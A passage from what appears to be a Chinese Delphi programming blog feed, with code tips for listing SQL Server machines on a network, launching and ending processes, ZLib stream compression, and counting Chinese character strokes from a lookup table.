<P>适用条件：装有 SQL Server，且有SQLDMO.dll文件。</P>
<P>速度：中</P>
<P>调用示例：GetSQLServerList(ListBox1.items);</P>
<P>代码：</P>
<P>uses</P>
<P>ComObj;</P>
<P></P>
<P>function GetSQLServerList(var AList: TStrings): Boolean;</P>
<P>var</P>
<P>SQLServerApp: Variant;</P>
<P>ServerList: Variant;</P>
<P>i: Integer;</P>
<P>begin</P>
<P>Result := True;</P>
<P>try</P>
<P>SQLServerApp := CreateOleObject(''SQLDMO.Application'');</P>
<P>ServerList := SQLServerApp.ListAvailableSQLServers;</P>
<P>for i := 1 to ServerList.Count do</P>
<P>AList.Add(ServerList.Item(i));</P>
<P>SQLServerApp := Unassigned;</P>
<P>ServerList := Unassigned;</P>
<P>except</P>
<P>Result := False;</P>
<P>end;</P>
<P>end;</P>
<P></P>
<P>二、 NetServerEnum</P>
<P>描述：网络服务函数，存在于NetApi32.dll文件中；通过NetServerEnum函数可取得装有SQL Server服务端的计算机列表，只装有SQL Server客户端的计算机将不会被列举其中；如果一台计算机的SQL Server服务刚刚启动，那么此函数将会过很久才能取到该计算机。</P>
<P>列表类型：仅列举装有“服务端”的计算机。</P>
<P>适用条件：有NetApi32.dll文件。</P>
<P>速度：快</P>
<P>调用示例：GetSQLServerList(ListBox1.items);</P>
<P>代码：</P>
<P>type</P>
<P>NET_API_STATUS = DWORD;</P>
<P></P>
<P>PServerInfo100 = ^TServerInfo100;</P>
<P>_SERVER_INFO_100 = record</P>
<P>sv100_platform_id: DWORD;</P>
<P>sv100_name: LPWSTR;</P>
<P>end;</P>
<P>{$EXTERNALSYM _SERVER_INFO_100}</P>
<P>TServerInfo100 = _SERVER_INFO_100;</P>
<P>SERVER_INFO_100 = _SERVER_INFO_100;</P>
<P>{$EXTERNALSYM SERVER_INFO_100}</P>
<P></P>
<P>const</P>
<P>NERR_Success = 0;</P>
<P>MAX_PREFERRED_LENGTH = DWORD(-1);</P>
<P>SV_TYPE_SQLSERVER = $00000004;</P>
<P></P>
<P>function NetApiBufferAllocate(ByteCount: DWORD; var Buffer: Pointer):</P>
<P>NET_API_STATUS; stdcall; external ''netapi32.dll'' name ''NetApiBufferAllocate'';</P>
<P></P>
<P>function NetServerEnum(ServerName: LPCWSTR; Level: DWORD; var BufPtr: Pointer;</P>
<P>PrefMaxLen: DWORD; var EntriesRead: DWORD; var TotalEntries: DWORD;</P>
<P>ServerType: DWORD; Domain: LPCWSTR; ResumeHandle: PDWORD): NET_API_STATUS;</P>
<P>stdcall; external ''netapi32.dll'' name ''NetServerEnum'';</P>
<P></P>
<P>function NetApiBufferFree(Buffer: Pointer): NET_API_STATUS; stdcall; external</P>
<P>''netapi32.dll'' name ''NetApiBufferFree'';</P>
<P></P>
<P>function GetSQLServerList(var AList: TStrings; pwcServerName: PWChar = nil;</P>
<P>pwcDomain: PWChar = nil): Boolean;</P>
<P>var</P>
<P>NetAPIStatus: DWORD;</P>
<P>dwLevel: DWORD;</P>
<P>pReturnSvrInfo: Pointer;</P>
<P>dwPrefMaxLen: DWORD;</P>
<P>dwEntriesRead: DWORD;</P>
<P>dwTotalEntries: DWORD;</P>
<P>dwServerType: DWORD;</P>
<P>dwResumeHandle: PDWORD;</P>
<P>pCurSvrInfo: PServerInfo100;</P>
<P>i, j: Integer;</P>
<P>begin</P>
<P>Result := True;</P>
<P>try</P>
<P>dwLevel := 100;</P>
<P>pReturnSvrInfo := nil;</P>
<P>dwPrefMaxLen := MAX_PREFERRED_LENGTH;</P>
<P>dwEntriesRead := 0;</P>
<P>dwTotalEntries := 0;</P>
<P>dwServerType := SV_TYPE_SQLSERVER; //服务器类型</P>
<P>dwResumeHandle := nil;</P>
<P></P>
<P>NetApiBufferAllocate(SizeOf(pReturnSvrInfo), pReturnSvrInfo);</P>
<P>try</P>
<P>NetAPIStatus := NetServerEnum(pwcServerName, dwLevel, pReturnSvrInfo,</P>
<P>dwPrefMaxLen, dwEntriesRead, dwTotalEntries, dwServerType, pwcDomain,</P>
<P>dwResumeHandle);</P>
<P></P>
<P>if ((NetAPIStatus = NERR_Success) or (NetAPIStatus = ERROR_MORE_DATA)) and</P>
<P>(pReturnSvrInfo &lt;&gt; nil) then</P>
<P>begin</P>
<P>pCurSvrInfo := pReturnSvrInfo;</P>
<P></P>
<P>// 循环取得所有SQL Server服务器</P>
<P>i := 0;</P>
<P>j := dwEntriesRead;</P>
<P>while i &lt; j do</P>
<P>begin</P>
<P>if pCurSvrInfo = nil then</P>
<P>Break;</P>
<P></P>
<P>with AList do</P>
<P>Add(pCurSvrInfo^.sv100_name);</P>
<P></P>
<P>Inc(i);</P>
<P>Inc(pCurSvrInfo);</P>
<P>end;</P>
<P>end;</P>
<P>finally</P>
<P>if Assigned(pReturnSvrInfo) then</P>
<P>NetApiBufferFree(pReturnSvrInfo);</P>
<P>end;</P>
<P>except</P>
<P>Result := False;</P>
<P>end;</P>
<P>end;</P>
<P></P>
<P>三、 SQLBrowseConnect</P>
<P>描述：ODBC函数（Microsoft Open Database Connectivity，开放式数据库连接），存在于odbc32.dll文件中；通过SQLBrowseConnect函数可返回连接字符串信息，包括DSN、DRIVER、SERVER、UID、PWD、APP、WSID、DATABASE、LANGUAGE等信息。在函数GetODBCInfo 中传入itServer、itDatabase、itLanguage可分别取得“服务器”、“数据库”及“语言”等信息列表，其中itDatabase、itLanguage默认取本地信息，取远程信息请自行修改“''Driver={SQL Server};SERVER=(local);UID=sa;PWD=''”连接字符串。</P>
<P>列表类型：列举装有“客户端”和“服务端”的计算机。</P>
<P>适用条件：由于MDAC 2.6 、2.6 SP1、2.7和Microsoft ODBC Driver for SQL Server 2000 2000.80.194有Bug，因此在这些版本中此函数无法取得Microsoft SQL Server 7.0的服务器。</P>
<P>速度：中</P>
<P>调用示例：GetODBCInfo(ListBox1.items, itServer);</P>
<P>代码：</P>
<P>type</P>
<P>TInfoType = (itServer, itDatabase, itLanguage);</P>
<P></P>
<P>SQLHANDLE = Pointer;</P>
<P>SQLSMALLINT = SHORT;</P>
<P>SQLINTEGER = LongInt;</P>
<P>PSQLHANDLE = ^SQLHANDLE;</P>
<P>SQLHENV = SQLHANDLE;</P>
<P>SQLHDBC = SQLHANDLE;</P>
<P>SQLRETURN = SQLSMALLINT;</P>
<P>SQLCHAR = UCHAR;</P>
<P>PSQLCHAR = ^SQLCHAR;</P>
<P>SQLPOINTER = Pointer;</P>
<P>PSQLSMALLINT = ^SQLSMALLINT;</P>
<P></P>
<P>function SQLAllocHandle(HandleType: SQLSMALLINT; InputHandle: SQLHANDLE;</P>
<P>OutputHandle: PSQLHANDLE): SQLRETURN; stdcall; external ''odbc32.dll'' name</P>
<P>''SQLAllocHandle'';</P>
<P></P>
<P>function SQLSetEnvAttr(EnvironmentHandle: SQLHENV; Attribute: SQLINTEGER;</P>
<P>Value: SQLPOINTER; StringLength: SQLINTEGER): SQLRETURN; stdcall; external</P>
<P>''odbc32.dll'' name ''SQLSetEnvAttr'';</P>
<P></P>
<P>function SQLBrowseConnect(hdbc: SQLHDBC; szConnStrIn: PSQLCHAR;</P>
<P>cbConnStrIn: SQLSMALLINT; szConnStrOut: PSQLCHAR;</P>
<P>cbConnStrOutMax: SQLSMALLINT; pcbConnStrOut: PSQLSMALLINT): SQLRETURN;</P>
<P>stdcall; external ''odbc32.dll'' name ''SQLBrowseConnect'';</P>
<P></P>
<P>function SQLDisconnect(ConnectionHandle: SQLHDBC): SQLRETURN; stdcall; external</P>
<P>''odbc32.dll'' name ''SQLDisconnect'';</P>
<P></P>
<P>function SQLFreeHandle(HandleType: SQLSMALLINT; Handle: SQLHANDLE): SQLRETURN;</P>
<P>stdcall; external ''odbc32.dll'' name ''SQLFreeHandle'';</P>
<P></P>
<P>const</P>
<P>SQL_HANDLE_ENV = 1;</P>
<P>SQL_HANDLE_DBC = 2;</P>
<P>SQL_NULL_HANDLE = LongInt(0);</P>
<P>SQL_SUCCESS = 0;</P>
<P>SQL_ERROR = -1;</P>
<P>SQL_ATTR_ODBC_VERSION = 200;</P>
<P>SQL_OV_ODBC3 = ULONG(3);</P>
<P>SQL_NTS = -3;</P>
<P></P>
<P>function GetODBCInfo(var AList: TStrings; InfoType: TInfoType): Boolean;</P>
<P>const</P>
<P>ConnStrOutMax = 4824;</P>
<P>SplitterStr = ''={'';</P>
<P>var</P>
<P>HENV: SQLHENV;</P>
<P>HDBC: SQLHDBC;</P>
<P>RetCode: SQLRETURN;</P>
<P>ConnStrOut: PSQLCHAR;</P>
<P>cbConnStrOut: SQLSMALLINT;</P>
<P></P>
<P>ConnStrIn, TmpStr: string;</P>
<P>TmpPos: Integer;</P>
<P>begin</P>
<P>case InfoType of</P>
<P>itServer: ConnStrIn := ''Driver={SQL Server}'';</P>
<P>itDatabase, itLanguage: ConnStrIn := ''Driver={SQL Server};SERVER=(local);UID=sa;PWD='';</P>
<P>end;</P>
<P></P>
<P>Result := False;</P>
<P>try</P>
<P>// 分配 ODBC 环境句柄</P>
<P>RetCode := SQLAllocHandle(SQL_HANDLE_ENV, SQLPOINTER(SQL_NULL_HANDLE), @HENV);</P>
<P>if RetCode = SQL_ERROR then</P>
<P>Exit;</P>
<P></P>
<P>// 设置 ODBC 版本</P>
<P>RetCode := SQLSetEnvAttr(HENV, SQL_ATTR_ODBC_VERSION, SQLPointer(SQL_OV_ODBC3), 0);</P>
<P>if RetCode &lt;&gt; SQL_SUCCESS then</P>
<P>Exit;</P>
<P></P>
<P>// 分配数据库连接句柄</P>
<P>RetCode := SQLAllocHandle(SQL_HANDLE_DBC, HENV, @HDBC);</P>
<P>if RetCode &lt;&gt; SQL_SUCCESS then</P>
<P>Exit;</P>
<P></P>
<P>GetMem(ConnStrOut, ConnStrOutMax);</P>
<P>RetCode := SQLBrowseConnect(HDBC, PSQLCHAR(ConnStrIn), SQL_NTS, ConnStrOut,</P>
<P>ConnStrOutMax, @cbConnStrOut);</P>
<P></P>
<P>if RetCode &lt;&gt; SQL_ERROR then</P>
<P>begin</P>
<P>TmpStr := PChar(ConnStrOut);</P>
<P></P>
<P>if InfoType = itLanguage then</P>
<P>Delete(TmpStr, 1, AnsiPos(''};'', TmpStr) + 1);</P>
<P></P>
<P>Delete(TmpStr, 1, AnsiPos(SplitterStr, TmpStr) + 1);</P>
<P>Delete(TmpStr, AnsiPos(''}'', TmpStr), Length(TmpStr));</P>
<P>while TmpStr &lt;&gt; '''' do</P>
<P>begin</P>
<P>TmpPos := AnsiPos('','', TmpStr);</P>
<P>if TmpPos &gt; 0 then</P>
<P>AList.Add(Copy(TmpStr, 1, TmpPos - 1))</P>
<P>else</P>
<P>begin</P>
<P>AList.Add(TmpStr);</P>
<P>TmpStr := '''';</P>
<P>end;</P>
<P>Delete(TmpStr, 1, TmpPos)</P>
<P>end;</P>
<P>Result := True;</P>
<P>end;</P>
<P></P>
<P>FreeMem(ConnStrOut, ConnStrOutMax);</P>
<P>finally</P>
<P>if Assigned(HDBC) then</P>
<P>begin</P>
<P>SQLDisconnect(HDBC);</P>
<P>SQLFreeHandle(SQL_HANDLE_DBC, HDBC);</P>
<P>HDBC := nil;</P>
<P>end;</P>
<P></P>
<P>if Assigned(HENV) then</P>
<P>begin</P>
<P>SQLFreeHandle(SQL_HANDLE_ENV, HENV);</P>
<P>HENV := nil;</P>
<P>end;</P>
<P>end;</P>
<P>end;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=143" /> 
	  <id>http://www.openx.cn/default.asp?id=143</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[执行/终止一个应用程序]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-10T11:55:45+08:00</updated>
	  <published>2005-11-10T11:55:45+08:00</published>
		  <summary type="html"><![CDATA[<SPAN class=content>使用API函数''ExecuteProcess''执行一个应用程序,使用''TerminateProcess''终止它。<BR><BR>以下是一个例子：<BR><BR>var<BR>MyHandle: THandle;<BR>MyStartupInfo: TStartupInfo;<BR>MyProcessInfo: TProcessInformation;<BR><BR>procedure TMyForm.ExecuteApp(MyPath: String);<BR>begin<BR>FillChar(MyStartupInfo, SizeOf(MyStartupInfo), 0);<BR>//清除MyStartupInfo中的数据<BR><BR>MyStartupInfo.cb:=SizeOf(MyStartupInfo);<BR><BR>CreateProcess(PChar(MyPath), nil, nil, nil, False, <BR>DETACHED_PROCESS, nil, nil, MyStartupInfo,<BR>MyProcessInfo);<BR><BR>MyHandle:=MyProcessInfo.hProcess;<BR>//把执行的程序的句柄赋值给MyHandle，它会在终止程序时用到<BR>end;<BR><BR>procedure TMyForm.CloseApp(MyHandle: THandle);<BR>begin<BR>TerminateProcess(MyHandle, 0);<BR>end;<BR></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=142" /> 
	  <id>http://www.openx.cn/default.asp?id=142</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[流的压缩和解压]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-10T11:52:20+08:00</updated>
	  <published>2005-11-10T11:52:20+08:00</published>
		  <summary type="html"><![CDATA[<P>(*//============================================================================<BR>设计思路:<BR>创建TCompressionStream、TDecompressionStream实例进行压缩和解压<BR>============================================================================//*)</P>
<P>uses ZLib;</P>
<P>const cBufferSize = $4096;</P>
<P>function StreamCompression(mInputStream: TStream; mOutputStream: TStream): Integer;<BR>var<BR>I: Integer;<BR>vBuffer: array[0..cBufferSize]of Char;<BR>begin<BR>Result := -1;<BR>if not (Assigned(mInputStream) and Assigned(mOutputStream)) then Exit;<BR>with TCompressionStream.Create(clMax, mOutputStream) do try<BR>for I := 1 to mInputStream.Size div cBufferSize do begin<BR>mInputStream.Read(vBuffer, cBufferSize);<BR>Write(vBuffer, cBufferSize);<BR>end;<BR>I := mInputStream.Size mod cBufferSize;<BR>if I &gt; 0 then begin<BR>mInputStream.Read(vBuffer, I);<BR>Write(vBuffer, I);<BR>end;<BR>finally<BR>Free;<BR>end;<BR>end; { StreamCompression }</P>
<P>function StreamDecompression(mInputStream: TStream; mOutputStream: TStream): Integer;<BR>var<BR>vBuffer: array[0..cBufferSize]of Char;<BR>I: Integer;<BR>begin<BR>Result := -1;<BR>if not (Assigned(mInputStream) and Assigned(mOutputStream)) then Exit;<BR>with TDecompressionStream.Create(mInputStream) do try<BR>repeat<BR>I := Read(vBuffer, cBufferSize);<BR>mOutputStream.Write(vBuffer, I);<BR>until I = 0;<BR>Result := mOutputStream.Size;<BR>finally<BR>Free;<BR>end;<BR>end; { StreamDecompression }</P>
<P>//Example<BR>procedure TForm1.Button1Click(Sender: TObject);<BR>var<BR>vInputStream: TFileStream;<BR>vOutputStream: TFileStream;<BR>begin<BR>vInputStream := TFileStream.Create(''c:\temp\temp.exe'', fmOpenRead);<BR>vOutputStream := TFileStream.Create(''c:\temp\temp.exe.z'', fmCreate);<BR>try<BR>StreamCompression(vInputStream, vOutputStream);<BR>finally<BR>vInputStream.Free;<BR>vOutputStream.Free;<BR>end;<BR>end;</P>
<P>procedure TForm1.Button2Click(Sender: TObject);<BR>var<BR>vInputStream: TFileStream;<BR>vOutputStream: TFileStream;<BR>begin<BR>vInputStream := TFileStream.Create(''c:\temp\temp.exe.z'', fmOpenRead);<BR>vOutputStream := TFileStream.Create(''c:\temp\temp~.exe'', fmCreate);<BR>try<BR>StreamDecompression(vInputStream, vOutputStream);<BR>finally<BR>vInputStream.Free;<BR>vOutputStream.Free;<BR>end;<BR>end;<BR></P>
<P>摘：<A href="http://www.daima.com.cn/Info/106/Info35298/">http://www.daima.com.cn/Info/106/Info35298/</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=141" /> 
	  <id>http://www.openx.cn/default.asp?id=141</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[计算汉字笔划的函数]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-10T11:51:15+08:00</updated>
	  <published>2005-11-10T11:51:15+08:00</published>
		  <summary type="html"><![CDATA[function GetBiHua(chnstr:string):integer;<BR>const<BR>BiHuaTable=<BR>#10#7#10#10#8#10#9#11#17#14#13#5#13#10#12#15+<BR>#10#6#10#9#12#8#10#10#8#8#10#5#10#14#16#9+<BR>#12#12#15#15#7#10#5#5#7#10#2#9#4#8#12#13+<BR>#7#10#7#21#10#8#5#9#6#13#8#8#9#13#12#10+<BR>#13#7#10#10#8#8#7#8#7#19#5#4#8#6#9#10+<BR>#14#14#9#12#15#10#15#12#12#8#9#5#15#10#16#13+<BR>#9#12#8#8#8#7#15#10#13#19#8#13#12#8#5#12+<BR>#9#4#9#10#7#8#12#12#10#8#8#5#11#11#11#9+<BR>#9#18#9#12#14#4#13#10#8#14#13#14#6#10#9#4+<BR>#7#13#6#11#14#5#13#16#17#16#9#18#5#12#8#9+<BR>#9#8#4#16#16#17#12#9#11#15#8#19#15#7#15#11+<BR>#12#16#13#10#13#7#6#9#5#8#9#9#10#6#9#11+<BR>#15#8#10#8#12#9#13#10#14#7#8#11#11#14#12#8+<BR>#7#10#2#10#7#11#4#5#7#19#10#8#17#11#12#7+<BR>#3#7#13#15#8#11#11#14#16#8#10#9#11#11#7#7+<BR>#10#4#7#17#16#16#15#11#9#8#12#8#5#9#7#19+<BR>#12#3#9#9#9#14#12#14#7#9#8#8#10#10#12#11+<BR>#11#12#11#13#11#6#11#19#8#11#6#9#11#4#11#7+<BR>#2#12#8#11#10#12#7#9#12#15#15#11#7#8#4#7+<BR>#15#12#7#15#10#6#7#6#11#7#7#7#12#8#15#10+<BR>#9#16#6#7#8#12#12#15#8#8#10#10#10#6#13#9+<BR>#11#6#7#6#6#10#8#8#4#7#10#5#9#6#6#6+<BR>#11#8#8#13#12#14#13#13#13#4#11#14#4#10#7#5+<BR>#16#12#18#12#13#12#9#13#10#12#24#13#13#5#12#3+<BR>#9#13#6#11#12#7#9#12#15#7#6#6#7#8#11#13+<BR>#8#9#13#15#10#11#7#21#18#11#11#9#14#14#13#13+<BR>#10#7#6#8#12#6#15#12#7#5#4#5#11#11#15#14+<BR>#9#19#16#12#14#11#13#10#13#14#11#14#7#6#3#14+<BR>#15#12#11#10#13#12#6#12#14#5#3#7#4#12#17#9+<BR>#9#5#9#11#9#11#9#10#8#4#8#10#11#9#5#12+<BR>#7#11#11#8#11#11#6#9#10#9#10#2#10#17#10#7+<BR>#11#6#8#15#11#12#11#15#11#8#19#6#12#12#17#14+<BR>#4#12#7#14#8#10#11#7#10#14#14#7#8#6#12#11+<BR>#9#7#10#12#16#11#13#13#9#8#16#9#5#7#7#8+<BR>#11#12#11#13#13#5#16#10#2#11#6#8#10#12#10#14+<BR>#15#8#11#13#2#7#5#7#8#12#13#8#4#6#5#5+<BR>#12#15#6#9#8#9#7#9#11#7#4#9#7#10#12#10+<BR>#13#9#12#9#10#11#13#12#7#14#7#9#12#7#14#12+<BR>#14#9#11#12#11#7#4#5#15#7#19#12#10#7#9#9+<BR>#12#11#9#6#6#9#13#6#13#11#8#12#11#13#10#12+<BR>#9#15#6#10#10#4#7#12#11#10#10#6#2#6#5#9+<BR>#9#2#9#5#9#12#6#4#9#8#9#18#6#12#18#15+<BR>#8#8#17#3#10#4#7#8#8#5#7#7#7#7#4#8+<BR>#8#6#7#6#6#7#8#11#8#11#3#8#10#10#7#8+<BR>#8#8#9#7#11#7#8#4#7#7#12#7#10#8#6#8+<BR>#12#12#4#9#8#13#10#12#4#9#11#10#5#13#6#8+<BR>#4#7#7#4#15#8#14#7#8#13#12#9#11#6#9#8+<BR>#10#11#13#11#5#7#7#11#10#10#8#11#12#8#14#9+<BR>#11#18#12#9#12#5#8#4#13#6#12#4#7#6#13#8+<BR>#15#14#8#7#13#9#11#12#3#5#7#9#9#7#10#13+<BR>#8#11#21#4#6#9#9#7#7#7#12#7#16#10#10#14+<BR>#10#16#13#15#15#7#10#14#12#4#11#10#8#12#9#12+<BR>#10#12#9#12#11#3#6#9#10#13#10#7#8#19#10#10+<BR>#11#3#7#5#10#11#8#10#4#9#3#6#7#9#7#6+<BR>#9#4#7#8#8#9#8#8#11#12#11#8#14#7#8#8+<BR>#8#13#5#11#9#7#8#9#10#8#12#8#5#9#14#9+<BR>#13#8#8#8#12#6#8#9#6#14#11#23#11#20#8#6+<BR>#3#10#13#8#6#11#5#7#9#6#9#8#9#10#8#13+<BR>#9#8#12#13#12#12#10#8#8#14#6#9#15#9#10#10+<BR>#6#10#9#12#15#7#12#7#11#12#8#12#7#16#16#10+<BR>#7#16#10#11#6#5#5#8#10#17#17#14#11#9#6#10+<BR>#5#10#8#12#10#11#10#5#8#7#6#11#13#9#8#11+<BR>#14#14#15#9#15#12#11#9#9#9#10#7#15#16#9#8+<BR>#9#10#9#11#9#7#5#6#12#9#12#7#9#10#6#8+<BR>#5#8#13#10#12#9#15#8#15#12#8#8#11#7#4#7+<BR>#4#7#9#6#12#12#8#6#4#8#13#9#7#11#7#6+<BR>#8#10#7#12#10#11#10#12#13#11#10#9#4#9#12#11+<BR>#16#15#17#9#11#12#13#10#13#9#11#6#9#12#17#9+<BR>#12#6#13#10#15#5#12#11#10#11#6#10#5#6#9#9+<BR>#9#8#11#13#9#11#17#9#6#4#10#8#12#16#8#11+<BR>#5#6#11#6#13#15#10#14#6#5#9#16#4#7#10#11+<BR>#12#6#7#12#13#20#12#3#9#10#6#7#13#6#9#2+<BR>#10#3#13#7#16#8#6#11#8#11#9#11#11#4#5#9+<BR>#7#7#7#10#6#14#9#6#8#10#5#9#12#10#5#10+<BR>#11#15#6#9#8#13#7#10#7#6#11#7#13#10#8#8+<BR>#6#12#9#11#9#14#12#8#10#13#9#11#11#9#14#13+<BR>#12#9#4#13#15#6#10#10#9#8#11#12#12#8#15#9+<BR>#9#10#6#19#12#10#9#6#6#13#8#15#12#17#12#10+<BR>#6#8#9#9#9#20#12#11#11#8#11#9#7#9#16#9+<BR>#13#11#14#10#10#5#12#12#11#9#11#12#6#14#7#5+<BR>#10#8#11#13#14#9#9#13#8#7#17#7#9#10#4#9+<BR>#9#8#3#12#4#8#4#9#18#10#13#4#13#7#13#10+<BR>#13#7#10#10#6#7#9#14#8#13#12#16#8#11#14#13+<BR>#8#4#19#12#11#14#14#12#16#8#10#13#11#10#8#9+<BR>#12#12#7#5#7#9#3#7#2#10#11#11#5#6#13#8+<BR>#12#8#17#8#8#10#8#8#11#7#8#9#9#8#14#7+<BR>#11#4#8#11#15#13#10#5#11#8#10#10#12#10#10#11+<BR>#8#10#15#23#7#11#10#17#9#6#6#9#7#11#9#6+<BR>#7#10#9#12#10#9#10#12#8#5#9#4#12#13#8#12+<BR>#5#12#11#7#9#9#11#14#17#6#7#4#8#6#9#10+<BR>#15#8#8#9#12#15#14#9#7#9#5#12#7#8#9#10+<BR>#8#11#9#10#7#7#8#10#4#11#7#3#6#11#9#10+<BR>#13#8#14#7#12#6#9#9#13#10#7#13#8#7#10#12+<BR>#6#12#7#10#8#11#7#7#3#11#8#13#12#9#13#11+<BR>#12#12#12#8#8#10#7#9#6#13#12#8#8#12#14#12+<BR>#14#11#10#7#13#13#11#9#8#16#12#5#15#14#12#9+<BR>#16#12#9#13#11#12#10#11#8#10#10#10#7#7#6#8+<BR>#9#13#10#10#11#5#13#18#16#15#11#17#9#16#6#9+<BR>#8#12#13#7#9#11#11#15#16#10#10#13#11#7#7#15+<BR>#5#10#9#6#10#7#5#5#10#4#7#12#8#9#12#5+<BR>#11#7#8#2#14#10#9#12#10#7#18#13#8#10#8#11+<BR>#11#12#10#9#8#13#10#11#13#7#7#11#12#12#9#10+<BR>#15#11#14#7#16#14#5#15#2#14#17#14#10#6#12#10+<BR>#6#11#12#8#17#16#9#7#20#11#15#10#7#8#9#11+<BR>#13#13#10#7#11#10#7#10#8#11#5#5#13#11#14#12+<BR>#13#10#6#15#10#9#4#5#11#8#11#16#11#8#8#7+<BR>#13#9#12#12#14#8#7#5#11#7#8#11#7#8#12#19+<BR>#13#21#13#10#11#16#11#8#7#15#7#6#11#8#10#15+<BR>#12#12#10#12#9#11#13#11#9#10#9#13#7#7#11#11+<BR>#7#8#6#4#7#7#6#11#17#8#11#13#14#14#13#12+<BR>#9#9#9#6#11#7#8#9#3#9#14#6#10#6#7#8+<BR>#6#9#15#14#12#13#14#11#14#14#13#6#9#8#8#6+<BR>#10#11#8#13#4#5#10#5#8#9#12#14#9#3#8#8+<BR>#11#14#15#13#7#9#12#14#7#9#9#12#8#12#3#7+<BR>#5#11#13#17#13#13#11#11#8#11#16#19#17#9#11#8+<BR>#6#10#8#8#14#11#12#12#10#11#11#7#9#10#12#9+<BR>#8#11#13#17#9#12#8#7#14#5#5#8#5#11#10#9+<BR>#8#16#8#11#6#8#13#13#14#19#14#14#16#15#20#8+<BR>#5#10#15#16#8#13#13#8#11#6#9#8#7#7#8#5+<BR>#13#14#13#12#14#4#5#13#8#16#10#9#7#9#6#9+<BR>#7#6#2#5#9#8#9#7#10#22#9#10#9#8#11#8+<BR>#10#4#14#10#8#16#10#8#5#7#7#10#13#9#13#14+<BR>#8#6#15#15#11#8#10#14#5#7#10#10#19#11#15#15+<BR>#10#11#9#8#16#5#8#8#4#7#9#7#10#9#6#7+<BR>#5#7#9#3#13#9#8#9#17#20#10#10#8#9#8#18+<BR>#7#11#7#11#9#8#8#8#12#8#11#12#11#12#9#19+<BR>#15#11#15#9#10#7#9#6#8#10#16#9#7#8#7#9+<BR>#10#12#8#8#9#11#14#12#10#10#8#7#12#9#10#8+<BR>#11#15#12#13#12#13#16#16#8#12#11#13#8#9#21#7+<BR>#8#15#12#9#11#12#10#5#4#12#15#7#20#15#11#4+<BR>#12#15#14#16#11#14#16#9#13#8#9#13#6#8#8#11+<BR>#5#8#10#7#9#8#8#11#11#10#14#8#11#10#5#12+<BR>#4#10#12#11#13#10#6#10#12#10#14#19#18#12#12#10+<BR>#11#8#2#10#14#9#7#8#12#8#7#11#11#10#6#14+<BR>#8#6#11#10#6#3#6#7#9#9#16#4#6#7#7#8+<BR>#5#11#9#9#9#6#8#10#3#6#13#5#12#11#16#10+<BR>#10#9#15#13#8#15#11#12#4#14#8#7#12#7#14#14+<BR>#12#7#16#14#14#10#10#17#6#8#5#16#15#12#10#9+<BR>#10#4#8#5#8#9#9#9#9#10#12#13#7#15#12#13+<BR>#7#8#9#9#10#10#11#16#12#12#11#8#10#6#12#7+<BR>#9#5#7#11#7#5#9#8#12#4#11#6#11#8#7#11+<BR>#8#11#17#15#5#11#23#6#16#9#6#11#10#4#8#4+<BR>#10#8#16#7#13#14#12#11#12#13#12#16#5#9#22#20+<BR>#20#20#5#9#7#9#12#10#4#4#2#7#7#6#4#3+<BR>#7#6#5#4#4#6#9#13#9#16#14#13#10#9#4#12+<BR>#9#6#9#20#16#17#6#10#8#6#2#15#8#6#15#13+<BR>#12#7#10#8#10#15#9#11#13#17#13#14#3#8#6#12+<BR>#10#13#8#12#12#6#12#13#6#10#12#14#10#9#6#8+<BR>#7#7#13#11#13#12#10#9#8#7#3#7#14#8#5#8+<BR>#16#17#16#12#6#10#15#14#6#11#12#10#3#8#14#11+<BR>#10#12#10#6#3#14#4#10#7#8#11#11#11#6#8#11+<BR>#13#10#13#10#7#6#10#5#8#7#7#11#10#8#9#7+<BR>#8#11#9#8#13#11#7#5#12#9#4#11#9#11#12#9+<BR>#5#6#5#9#9#12#8#3#8#2#5#9#7#4#9#9+<BR>#8#7#5#5#8#9#8#8#6#5#3#5#9#8#9#14+<BR>#10#8#9#13#16#9#5#8#12#8#4#5#9#9#8#8+<BR>#6#4#9#6#7#11#11#8#14#11#15#8#11#10#7#13+<BR>#8#12#11#12#4#12#11#15#16#12#17#13#13#12#13#12+<BR>#5#8#9#7#6#9#14#11#13#14#10#8#9#14#10#5+<BR>#5#10#9#17#4#11#10#4#13#12#7#17#9#12#9#11+<BR>#10#8#12#15#15#9#7#5#5#6#13#6#13#5#7#6+<BR>#8#3#8#10#8#10#9#7#6#9#12#15#16#14#7#12+<BR>#9#10#10#12#14#13#13#11#7#8#14#13#14#9#11#11+<BR>#10#21#13#6#17#12#14#10#6#10#10#13#11#10#14#11+<BR>#10#12#8#13#5#5#6#12#16#9#17#15#9#8#8#5+<BR>#10#11#4#8#7#7#13#8#15#13#7#17#13#15#14#10+<BR>#8#12#10#14#11#5#9#6#13#13#11#12#15#10#16#10+<BR>#15#11#15#10#11#10#13#10#11#10#9#11#10#5#10#10+<BR>#18#13#10#13#11#10#15#12#12#15#16#12#7#12#17#11+<BR>#10#9#8#4#11#13#5#11#9#14#12#9#7#8#11#13+<BR>#9#10#8#4#7#9#5#6#11#9#9#9#12#10#10#13+<BR>#17#6#11#7#12#11#10#12#9#12#11#7#5#10#5#7+<BR>#9#8#10#10#10#11#3#6#8#12#6#11#13#13#13#13+<BR>#9#7#4#17#8#6#11#10#7#6#8#12#7#8#11#9+<BR>#9#12#9#9#4#10#9#5#15#9#12#8#10#3#11#7+<BR>#13#10#11#12#11#8#11#3#12#7#4#3#8#6#8#8+<BR>#11#7#6#9#20#13#6#4#7#10#7#11#11#4#14#11+<BR>#7#11#8#6#6#7#7#5#14#8#9#9#12#17#7#12+<BR>#11#11#15#3#14#12#10#4#9#7#7